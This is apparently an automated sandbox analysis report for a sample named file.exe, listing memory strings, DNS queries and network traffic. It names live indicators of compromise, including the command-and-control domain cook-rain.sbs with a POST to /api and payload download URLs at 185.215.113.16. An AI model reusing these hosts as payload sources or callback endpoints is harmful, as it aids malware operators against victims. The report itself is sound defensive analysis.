Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exel
Source: file.exe, 00000000.00000002.2422704141.0000000000D3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422824185.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2333942261.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_107.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2195041881.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_107.7.dr, chromecache_70.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_107.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_107.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_107.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=169648449
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.2210538557.000000000583E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213389979.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213547728.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224176722.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2227774944.000000000583D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2428759644.000000000583E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2233577604.000000000583D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213320242.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334073576.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334202682.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/L
Source: file.exe, 00000000.00000003.2233665120.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2333942261.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334181315.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiE
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_107.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_107.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_99.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_99.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427343536.00000000057C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2169628659.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169835671.0000000005808000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.0000000005808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2195884209.00000000057EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2195884209.00000000057EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2196065081.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2207535047.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2207814717.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
